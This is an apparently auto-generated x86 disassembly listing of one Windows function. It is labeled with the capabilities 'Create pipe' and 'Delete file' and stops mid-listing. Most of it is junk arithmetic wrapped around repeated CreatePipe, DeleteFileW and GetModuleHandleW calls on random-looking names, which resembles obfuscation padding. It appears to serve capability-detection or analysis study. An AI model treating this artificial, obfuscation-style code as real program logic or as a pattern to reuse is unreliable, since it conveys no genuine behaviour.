Function at 0x771930
Capabilities:
Create pipe
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
mov dword [ebp - 0x20], 0
mov eax, dword [0xa966a0]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], 0
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov ecx, dword [0xa96680]
mov dword [ebp - 0x24], ecx
mov edx, dword [0xa966ac]
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x58], 0x162e
mov eax, dword [0xa966ac]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0x19d3
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 0x2c], ecx
movzx edx, word [ebp - 4]
add edx, dword [ebp - 0x2c]
mov byte [ebp - 0x24], dl
movzx eax, byte [ebp - 0x28]
sub eax, 0x2516
and eax, dword [ebp - 0xc]
mov word [ebp - 8], ax
movzx ecx, byte [ebp - 0x14]
xor edx, edx
sub edx, dword [ebp - 0x28]
and ecx, edx
mov byte [ebp - 0x2c], cl
mov eax, dword [ebp - 8]
sub eax, dword [ebp - 0x1c]
and eax, dword [ebp - 4]
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x58], 0
movzx ecx, word [ebp - 8]
add ecx, dword [ebp - 0x10]
or ecx, 0x1c87
mov dword [ebp - 0x1c], ecx
movzx edx, word [ebp - 0x10]
sub edx, dword [ebp - 0x10]
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x5c], 0
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 4]
sub eax, 0x1a70
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0xc]
add ecx, dword [ebp - 0x10]
and ecx, dword [ebp - 0x18]
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x34], 0xa966c0
mov edx, dword [ebp - 0x18]
cmp edx, dword [ebp - 0x1c]
jbe 0x771a1e
mov eax, dword [ebp - 0xc]
add eax, 0x50a
movzx ecx, byte [ebp - 0x2c]
or eax, ecx
mov dword [ebp - 0x14], eax
mov edx, dword [ebp - 8]
add edx, dword [ebp - 8]
mov word [ebp - 0x18], dx
push str.blisensrhlw
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [ebp - 4], eax
mov eax, 4
imul ecx, eax, 0
mov edx, dword [ebp - 0x34]
mov eax, dword [ebp + 8]
mov dword [edx + ecx + 0x60], eax
movzx ecx, word [ebp - 0xc]
xor edx, edx
sub edx, ecx
or edx, 0xf4e
mov dword [ebp - 0x1c], edx
mov eax, 4
shl eax, 0
mov ecx, dword [ebp - 0x34]
mov edx, dword [ebp + 0xc]
mov dword [ecx + eax + 0x60], edx
push 0
push 0
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
mov dword [ebp - 0x14], eax
mov edx, 4
shl edx, 1
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp + 0x10]
mov dword [eax + edx + 0x60], ecx
mov dx, word [ebp - 0x10]
mov word [ebp - 4], dx
mov eax, dword [ebp - 0x10]
add eax, 0x2030
and eax, 0
mov word [ebp - 0x14], ax
call fcn.00770ad0
movzx ecx, word [ebp - 0x14]
movzx edx, byte [ebp - 0x1c]
add ecx, edx
or ecx, 0xd06
mov word [ebp - 0xc], cx
mov ax, word [ebp - 0x24]
mov word [ebp - 0xc], ax
mov ecx, dword [ebp - 0x18]
cmp ecx, dword [ebp - 0x1c]
je 0x772005
mov edx, dword [ebp - 0x14]
cmp edx, dword [ebp - 4]
jb 0x772005
movzx eax, word [ebp - 4]
cmp dword [ebp - 0x10], eax
ja 0x771ba3
movzx ecx, byte [ebp - 0xc]
cmp dword [ebp - 0x1c], ecx
je 0x771ba3
mov edx, dword [ebp - 0xc]
imul edx, dword [ebp - 0x28]
add edx, dword [ebp - 4]
mov dword [ebp - 0x14], edx
imul eax, dword [ebp - 8], 0
and eax, dword [ebp - 0x2c]
mov word [ebp - 0x28], ax
mov ecx, dword [ebp - 8]
add ecx, dword [ebp - 0xc]
movzx edx, byte [ebp - 0x20]
add ecx, edx
mov dword [ebp - 0x2c], ecx
movzx eax, word [ebp - 0x18]
mov ecx, dword [ebp - 0x10]
imul ecx, dword [ebp - 4]
and eax, ecx
mov byte [ebp - 0x28], al
imul edx, dword [ebp - 0x2c], 0x1c1
add edx, dword [ebp - 0xc]
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 4]
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0x2d
je 0x771b6b
cmp dword [ebp - 0x48], 0x7d
je 0x771b5c
cmp dword [ebp - 0x48], 0xad
je 0x771b7b
jmp 0x771b87
movzx ecx, word [ebp - 8]
add ecx, 0x1881
mov dword [ebp - 0x24], ecx
jmp 0x771b93
mov edx, 0x491
sub edx, dword [ebp - 8]
sub edx, dword [ebp - 0x14]
mov dword [ebp - 0x18], edx
jmp 0x771b93
mov eax, dword [ebp - 4]
imul eax, dword [ebp - 8]
mov dword [ebp - 0x24], eax
jmp 0x771b93
mov ecx, dword [ebp - 0x10]
sub ecx, dword [ebp - 0x1c]
add ecx, dword [ebp - 0x28]
mov dword [ebp - 8], ecx
push str.dendao
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [ebp - 0x2c], eax
jmp 0x771bb2
mov edx, dword [ebp - 0x24]
sub edx, dword [ebp - 0x28]
movzx eax, word [ebp - 0x10]
or edx, eax
mov dword [ebp - 0x1c], edx
mov ecx, dword [ebp - 0x28]
sub ecx, dword [ebp - 4]
mov byte [ebp - 0x14], cl
mov edx, dword [ebp - 0x20]
add edx, 0x1ed9
movzx eax, byte [ebp - 8]
sub edx, eax
mov dword [ebp - 0x28], edx
push str.tdefsreot
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0xc]
imul ecx, dword [ebp - 0x14]
mov word [ebp - 4], cx
movzx edx, word [ebp - 0x1c]
add edx, dword [ebp - 0x14]
mov dword [ebp - 0x20], edx
mov dword [ebp - 4], 0
jmp 0x771c02
mov eax, dword [ebp - 4]
add eax, 0x10
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x30
jae 0x771ca5
mov ecx, dword [ebp - 8]
or ecx, dword [ebp - 0x20]
or ecx, 0x1dbe
mov word [ebp - 0x28], cx
mov edx, dword [ebp - 0x1c]
cmp edx, dword [ebp - 0x28]
je 0x771c46
mov eax, dword [ebp - 8]
add eax, 0xfd9
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 8]
sub ecx, dword [ebp - 0x18]
and ecx, 0x491
mov dword [ebp - 0x28], ecx
xor edx, edx
sub edx, dword [ebp - 0x28]
mov byte [ebp - 0x1c], dl
movzx eax, byte [ebp - 0x24]
mov ecx, dword [ebp - 0x1c]
sub ecx, eax
sub ecx, dword [ebp - 0x28]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x18]
cmp edx, dword [ebp - 0x28]
je 0x771c83
xor eax, eax
sub eax, dword [ebp - 0x28]
and eax, dword [ebp - 0x28]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0xc]
add ecx, 0x132b
or ecx, dword [ebp - 0x10]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x2c]
add edx, dword [ebp - 0x18]
sub edx, dword [ebp - 0x24]
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0xc]
mov dword [ebp - 0x20], eax
movzx ecx, word [ebp - 0x2c]
sub ecx, dword [ebp - 0x10]
mov word [ebp - 8], cx
mov edx, dword [ebp - 0x14]
and edx, 0
mov dword [ebp - 0x20], edx
jmp 0x771bf9
mov eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0x20]
ja 0x771cb9
mov ecx, dword [ebp - 0x20]
cmp ecx, dword [ebp - 0x18]
jae 0x771dbb
push 0
push 0
lea edx, [ebp - 0x10]
push edx
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_CreatePipe]
mov dword [ebp - 4], eax
mov ecx, 0x1421
sub ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x24], 0x937
movzx edx, byte [ebp - 0x2c]
or edx, dword [ebp - 0x18]
mov byte [ebp - 0xc], dl
movzx eax, byte [ebp - 0x10]
and eax, dword [ebp - 4]
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x24]
add ecx, 0xd
mov dword [ebp - 0x24], ecx
movzx edx, word [ebp - 0xc]
or edx, 0x212a
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x1c]
movzx ecx, word [ebp - 0x20]
add eax, ecx
mov dword [ebp - 4], eax
mov edx, dword [ebp - 0x28]
sub edx, dword [ebp - 8]
mov dword [ebp - 4], edx
push str.tlrnier
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x24], 0x944
jb 0x771cea
push 0
push 0
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
mov dword [ebp - 0x24], eax
movzx edx, word [ebp - 4]
sub edx, dword [ebp - 0xc]
sub edx, 0x1a71
mov byte [ebp - 0x2c], dl
mov eax, dword [ebp - 4]
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0x22
je 0x771d83
cmp dword [ebp - 0x4c], 0x28
je 0x771d78
cmp dword [ebp - 0x4c], 0x4c
je 0x771d97
jmp 0x771da5
mov ecx, dword [ebp - 0x28]
add ecx, dword [ebp - 0x24]
mov dword [ebp - 0x2c], ecx
jmp 0x771dab
mov edx, dword [ebp - 0x14]
add edx, 0x938
or edx, 0x3eb
mov dword [ebp - 8], edx
jmp 0x771dab
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x28]
sub eax, dword [ebp - 8]
mov dword [ebp - 0xc], eax
jmp 0x771dab
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x14], ecx
push str.htscn
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [ebp - 0x1c], eax
jmp 0x771dc8
mov edx, dword [ebp - 0x10]
or edx, 0x21a1
mov word [ebp - 4], dx
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 0x18]
je 0x771ee7
mov ecx, dword [ebp - 0x24]
cmp ecx, dword [ebp - 0x10]
ja 0x771ee7
movzx edx, byte [ebp - 0x1c]
or edx, dword [ebp - 0x2c]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
imul eax, dword [ebp - 0x28]
and eax, 0x1e46
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x34]
mov dword [ebp - 0x38], ecx
mov edx, dword [ebp - 0x38]
sub edx, 0x2b
mov dword [ebp - 0x38], edx
cmp dword [ebp - 0x38], 0xde
ja case.0x771e1b.1
mov eax, dword [ebp - 0x38]
movzx ecx, byte [eax + 0x7729fc]
jmp dword [ecx*4 + 0x7729e4]
mov edx, dword [ebp - 0x28]
or edx, dword [ebp - 8]
mov dword [ebp - 0x14], edx
jmp 0x771e6b
mov eax, dword [ebp - 0x28]
sub eax, dword [ebp - 0x28]
movzx ecx, byte [ebp - 0x20]
sub eax, ecx
mov dword [ebp - 0x10], eax
jmp 0x771e6b
mov edx, dword [ebp - 0x20]
sub edx, dword [ebp - 0xc]
mov dword [ebp - 0x18], edx
jmp 0x771e6b
mov eax, dword [ebp - 0x18]
and eax, 0x29d
or eax, dword [ebp - 0x20]
mov dword [ebp - 4], eax
jmp 0x771e6b
mov dword [ebp - 0x24], 0
jmp 0x771e6b
mov ecx, dword [ebp - 0x24]
sub ecx, dword [ebp - 0x10]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x2c]
add edx, dword [ebp - 0x28]
movzx eax, byte [ebp - 8]
and edx, eax
mov dword [ebp - 0x20], edx
push str.teods
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x20], 0x22da
mov ecx, dword [ebp - 0x18]
mov dword [ebp - 0x3c], ecx
mov edx, dword [ebp - 0x3c]
sub edx, 0x18
mov dword [ebp - 0x3c], edx
cmp dword [ebp - 0x3c], 0x42
ja case.0x771eae.1
mov eax, dword [ebp - 0x3c]
movzx ecx, byte [eax + 0x772af0]
jmp dword [ecx*4 + 0x772adc]
mov edx, dword [ebp - 0x2c]
and edx, dword [ebp - 0x28]
mov byte [ebp - 0x14], dl
jmp 0x771ee7
mov eax, dword [ebp - 0x28]
mov dword [ebp - 8], eax
jmp 0x771ee7
movzx ecx, word [ebp - 0x10]
mov edx, dword [ebp - 0x10]
sub edx, ecx
mov dword [ebp - 0x14], edx
jmp 0x771ee7
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x1c], eax
jmp 0x771ee7
mov ecx, dword [ebp - 0x20]
sub ecx, 0x44
mov dword [ebp - 8], ecx
push 0
push 0
lea edx, [ebp - 0x10]
push edx
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_CreatePipe]
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x20]
cmp ecx, dword [ebp - 4]
jae 0x771f0d
cmp dword [ebp - 8], 0x258
je 0x771f6a
push str.dhmhd
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [ebp - 8], eax
movzx edx, byte [ebp - 8]
or edx, dword [ebp - 0xc]
mov dword [ebp - 4], edx
imul eax, dword [ebp - 0x20], 0
or eax, dword [ebp - 0x14]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x1c]
and ecx, dword [ebp - 8]
mov dword [ebp - 0x14], ecx
push 0
push 0
lea edx, [ebp - 0xc]
push edx
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_CreatePipe]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x14]
imul ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x14]
sub edx, ecx
mov dword [ebp - 0x24], edx
push str.felfaiet
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [ebp - 0x20], eax
mov eax, 0x19ff
sub eax, dword [ebp - 0xc]
mov dword [ebp - 0x14], eax
push 0
push 0
lea ecx, [ebp - 8]
push ecx
lea edx, [ebp - 0x24]
push edx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x2c], 0x106e
jbe 0x771ffc
mov al, byte [ebp - 4]
mov byte [ebp - 0x10], al
mov ecx, dword [ebp - 0x1c]
or ecx, 0xd70
mov dword [ebp - 0x24], ecx
push str.odalylrt
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [ebp - 0x28], eax
push 0
push 0
lea edx, [ebp - 0x18]
push edx
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_CreatePipe]
mov dword [ebp - 0x10], eax
push str.pemlaraieuu
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [ebp - 0x24], eax
push 0
push 0
lea ecx, [ebp - 0x1c]
push ecx
lea edx, [ebp - 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
mov dword [ebp - 0x14], eax
movzx eax, word [ebp - 0x14]
mov ecx, dword [ebp - 0x24]
lea edx, [ecx + eax + 0x307]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
or eax, dword [ebp - 0xc]
mov byte [ebp - 0x28], al
mov ecx, dword [ebp - 4]
sub ecx, dword [ebp - 0xc]
movzx edx, byte [ebp - 8]
add ecx, edx
mov word [ebp - 0x1c], cx
cmp dword [ebp - 0x10], 0x1f14
jne 0x772229
mov eax, dword [ebp - 0x14]
and eax, dword [ebp - 0x20]
movzx ecx, word [ebp - 0xc]
or eax, ecx
mov dword [ebp - 0x18], eax
mov edx, dword [ebp - 0x14]
cmp edx, dword [ebp - 4]
ja 0x7720be
mov eax, dword [ebp - 0xc]
or eax, dword [ebp - 0x28]
mov byte [ebp - 0x1c], al
push str.kybidewceicytama
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x1c]
add ecx, dword [ebp - 0x10]
mov word [ebp - 4], cx
mov dword [ebp - 0x14], 0
jmp 0x772070
mov edx, dword [ebp - 0x14]
add edx, 0x10
mov dword [ebp - 0x14], edx
cmp dword [ebp - 0x14], 0x20
jae 0x772092
movzx eax, word [ebp - 0x2c]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x1c], ecx
movzx edx, byte [ebp - 0x1c]
sub edx, dword [ebp - 4]
and edx, dword [ebp - 0x20]
mov dword [ebp - 0x2c], edx
jmp 0x772067
push 0
push 0
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
mov dword [ebp - 0x24], eax
push str.vcocnkyeitmr
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [ebp - 0x1c], eax
mov edx, dword [ebp - 4]
add edx, dword [ebp - 0x2c]
mov dword [ebp - 0x18], edx
push str.xfravn
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [ebp - 8], eax
movzx eax, word [ebp - 8]
mov ecx, dword [ebp - 0x28]
sub ecx, dword [ebp - 0x1c]
or eax, ecx
mov word [ebp - 0x24], ax
movzx edx, word [ebp - 0x20]
mov eax, dword [ebp - 0x20]
sub eax, edx
mov dword [ebp - 0x28], eax
imul ecx, dword [ebp - 0x10], 0
mov dword [ebp - 4], ecx
cmp dword [ebp - 0x14], 0x1257
jne 0x7721b7
mov ecx, dword [ebp - 0x18]
add ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
shl edx, cl
mov dword [ebp - 0x1c], edx
mov eax, 0x113f
sub eax, dword [ebp - 0x20]
or eax, dword [ebp - 0x20]
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x18]
add ecx, 0x1927
mov word [ebp - 4], cx
push str.ahwin
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [ebp - 0x1c], eax
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x40], edx
mov eax, dword [ebp - 0x40]
sub eax, 0x47
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0x68
ja case.0x772152.1
mov ecx, dword [ebp - 0x40]
movzx edx, byte [ecx + 0x772b48]
jmp dword [edx*4 + 0x772b34]
mov eax, dword [ebp - 0xc]
sub eax, 0x1025
mov dword [ebp - 8], eax
jmp 0x772199
mov ecx, dword [ebp - 0x20]
add ecx, 0x149d
mov dword [ebp - 0x14], ecx
jmp 0x772199
movzx edx, byte [ebp - 0x1c]
add edx, dword [ebp - 0x14]
mov dword [ebp - 0x24], edx
jmp 0x772199
movzx eax, word [ebp - 0xc]
add eax, dword [ebp - 0xc]
mov dword [ebp - 0x18], eax
jmp 0x772199
movzx ecx, byte [ebp - 0x1c]
add ecx, 0x2343
mov dword [ebp - 4], ecx
push 0
push 0
lea edx, [ebp - 0x2c]
push edx
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_CreatePipe]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 8]
add ecx, dword [ebp - 0x20]
mov dword [ebp - 0x10], ecx
movzx edx, word [ebp - 0x14]
and edx, dword [ebp - 0xc]
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0xc]
sub eax, dword [ebp - 0x10]
add eax, 0x9ce
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x24]
add ecx, dword [ebp - 8]
or ecx, dword [ebp - 0x20]
mov dword [ebp - 0x10], ecx
push str.henhiddainositeweep
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [ebp - 0x14], eax
mov edx, dword [ebp - 0x24]
add edx, dword [ebp - 0x1c]
movzx eax, word [ebp - 0x14]
sub edx, eax
mov word [ebp - 8], dx
push str.diahrdee
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [ebp - 8], eax
push 0
push 0
lea ecx, [ebp - 0x18]
push ecx
lea edx, [ebp - 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
mov dword [ebp - 0x24], eax
imul eax, dword [ebp - 0x24], 0x162a
sub eax, dword [ebp - 0xc]
mov dword [ebp - 8], eax
cmp dword [ebp - 0x28], 0
je 0x772803
cmp dword [ebp - 0x14], 0
je 0x772245
mov ecx, dword [ebp - 0x10]
cmp ecx, dword [ebp - 8]
jne 0x7722fc
mov edx, dword [ebp - 0x18]
or edx, dword [ebp - 0x18]
or edx, dword [ebp - 0x28]
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x18], 0xf60
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x24]
lea edx, [ecx + eax + 0x240d]
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x28]
add eax, 0x258a
or eax, dword [ebp - 0x2c]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x18]
add ecx, 1
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x2c], 0x2367
push str.nsynarnte
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [ebp - 0x20], eax
movzx edx, byte [ebp - 0x10]
add edx, dword [ebp - 4]
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x24]
add eax, 0x230d
mov dword [ebp - 4], eax
cmp dword [ebp - 0x18], 0xf61
jb 0x772268
push 0
push 0
lea ecx, [ebp - 0x1c]
push ecx
lea edx, [ebp - 0x28]
push edx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
mov dword [ebp - 4], eax
movzx eax, word [ebp - 0x18]
imul ecx, eax, 0xa20
or ecx, 0x254
mov word [ebp - 0xc], cx
push str.eupuroitt
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [ebp - 0x10], eax
mov edx, dword [ebp - 0x28]
mov dword [ebp - 8], edx
imul eax, dword [ebp - 0x10], 0x19f7
or eax, dword [ebp - 0x28]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0xbfb
jmp 0x77230e
mov ecx, dword [ebp - 0x2c]
add ecx, 1
mov dword [ebp - 0x2c], ecx
cmp dword [ebp - 0x2c], 0xbfd
jae 0x772505
mov edx, dword [ebp - 0x18]
cmp edx, dword [ebp - 8]
jb 0x772330
cmp dword [ebp - 0x14], 0xdac
ja 0x7723c2
push 0
push 0
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
mov dword [ebp - 4], eax
mov edx, dword [ebp - 0x20]
add edx, dword [ebp - 4]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x44], eax
mov ecx, dword [ebp - 0x44]
sub ecx, 0x3f
mov dword [ebp - 0x44], ecx
cmp dword [ebp - 0x44], 0xdb
ja case.0x772370.1
mov edx, dword [ebp - 0x44]
movzx eax, byte [edx + 0x772bc8]
jmp dword [eax*4 + 0x772bb4]
movzx ecx, word [ebp - 0x20]
movzx edx, byte [ebp - 8]
sub ecx, edx
or ecx, dword [ebp - 0x20]
mov byte [ebp - 0x24], cl
jmp 0x7723c0
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 8]
or eax, dword [ebp - 0xc]
mov dword [ebp - 0x18], eax
jmp 0x7723c0
mov ecx, dword [ebp - 0x20]
sub ecx, dword [ebp - 0x24]
mov dword [ebp - 0x1c], ecx
jmp 0x7723c0
movzx edx, word [ebp - 0x20]
mov eax, dword [ebp - 0x18]
lea ecx, [edx + eax + 0xa15]
mov dword [ebp - 0x28], ecx
jmp 0x7723c0
xor edx, edx
mov ecx, dword [ebp - 0x10]
sar edx, cl
mov word [ebp - 0x18], dx
jmp 0x7723d5
movzx eax, byte [ebp - 0x24]
movzx ecx, word [ebp - 0xc]
lea edx, [eax + ecx + 0x215f]
mov word [ebp - 0x1c], dx
movzx eax, word [ebp - 4]
and eax, dword [ebp - 4]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x18]
cmp ecx, dword [ebp - 0x14]
jne 0x772408
mov edx, dword [ebp - 0x10]
cmp edx, dword [ebp - 0x14]
jne 0x772408
movzx eax, byte [ebp - 0x24]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x20]
or ecx, 0x368
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 4]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x24]
jb 0x7724bd
push str.horm
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x10], 0
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x30], ecx
cmp dword [ebp - 0x30], 0x92
ja 0x772452
cmp dword [ebp - 0x30], 0x92
je 0x77249f
cmp dword [ebp - 0x30], 0x20
je 0x772478
cmp dword [ebp - 0x30], 0x83
je 0x77248e
jmp 0x7724ab
cmp dword [ebp - 0x30], 0xc6
je 0x772466
cmp dword [ebp - 0x30], 0x124
je 0x772488
jmp 0x7724ab
movzx edx, byte [ebp - 4]
and edx, 0x2648
or edx, dword [ebp - 0x10]
mov dword [ebp - 8], edx
jmp 0x7724bb
movzx eax, word [ebp - 0x20]
xor ecx, ecx
sub ecx, eax
sub ecx, dword [ebp - 0xc]
mov dword [ebp - 4], ecx
jmp 0x7724bb
mov byte [ebp - 4], 0x11
jmp 0x7724bb
mov edx, dword [ebp - 4]
sub edx, dword [ebp - 0x1c]
movzx eax, word [ebp - 0x20]
or edx, eax
mov byte [ebp - 0xc], dl
jmp 0x7724bb
movzx ecx, word [ebp - 4]
add ecx, dword [ebp - 0x10]
mov dword [ebp - 0xc], ecx
jmp 0x7724bb
movzx edx, byte [ebp - 4]
sub edx, 0x1f1
and edx, 0
mov dword [ebp - 0x10], edx
jmp 0x7724c9
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x18]
and eax, 0
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x18]
and ecx, dword [ebp - 0x14]
mov dword [ebp - 0x28], ecx
mov edx, dword [ebp - 0xc]
cmp edx, dword [ebp - 0x1c]
jbe 0x7724f7
mov eax, dword [ebp - 8]
sub eax, dword [ebp - 0x20]
mov dword [ebp - 0x24], eax
push str.ucovmi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [ebp - 0xc], eax
xor ecx, ecx
mov word [ebp - 0x28], cx
mov edx, dword [ebp - 0x1c]
sub edx, dword [ebp - 0x24]
mov dword [ebp - 0x10], edx
jmp 0x772305
cmp dword [ebp - 0x20], 0
je 0x772624
mov dword [ebp - 0x2c], 0
jmp 0x772521
mov eax, dword [ebp - 0x2c]
add eax, 4
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 8
jae 0x772584
imul ecx, dword [ebp - 0x24], 0
sub ecx, dword [ebp - 0x1c]
mov word [ebp - 0x18], cx
mov dword [ebp - 0x14], 0xfaa
mov edx, dword [ebp - 0x20]
sub edx, dword [ebp - 4]
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x1c]
or eax, 0x1adb
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x14]
add ecx, 8
mov dword [ebp - 0x14], ecx
imul edx, dword [ebp - 0x1c], 0
imul eax, edx, 0
mov dword [ebp - 8], eax
movzx ecx, byte [ebp - 0x28]
or ecx, 0x18d
or ecx, 0xe1d
mov dword [ebp - 4], ecx
cmp dword [ebp - 0x14], 0xfc2
jb 0x772542
mov edx, dword [ebp - 0x28]
mov dword [ebp - 0x14], edx
jmp 0x772518
push 0
push 0
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
mov dword [ebp - 4], eax
push str.rlmdeprugipwehmhtno
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [ebp - 8], eax
mov dword [ebp - 4], 0x528
mov edx, dword [ebp - 0x18]
mov dword [ebp - 8], edx
imul eax, dword [ebp - 0x10], 0x20ff
and eax, dword [ebp - 0xc]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 4]
add ecx, 0x1d
mov dword [ebp - 4], ecx
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x20], 0x2f
mov edx, dword [ebp - 0x24]
imul edx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], edx
push 0
push 0
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 4], 0x545
jb 0x7725b4
mov edx, dword [ebp - 0x2c]
add edx, dword [ebp - 0x10]
sub edx, dword [ebp - 0x24]
mov byte [ebp - 0xc], dl
mov eax, 0x11c3
sub eax, dword [ebp - 0xc]
mov byte [ebp - 0x1c], al
mov ecx, dword [ebp - 0x14]
or ecx, dword [ebp - 0x28]
or ecx, dword [ebp - 0x20]
mov word [ebp - 4], cx
mov edx, dword [ebp - 0x2c]
sub edx, dword [ebp - 4]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 4]
je 0x772723
mov ecx, dword [ebp - 0xc]
add ecx, dword [ebp - 8]
add ecx, dword [ebp - 0xc]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x50], edx
cmp dword [ebp - 0x50], 0xe
je 0x77265f
cmp dword [ebp - 0x50], 0x20
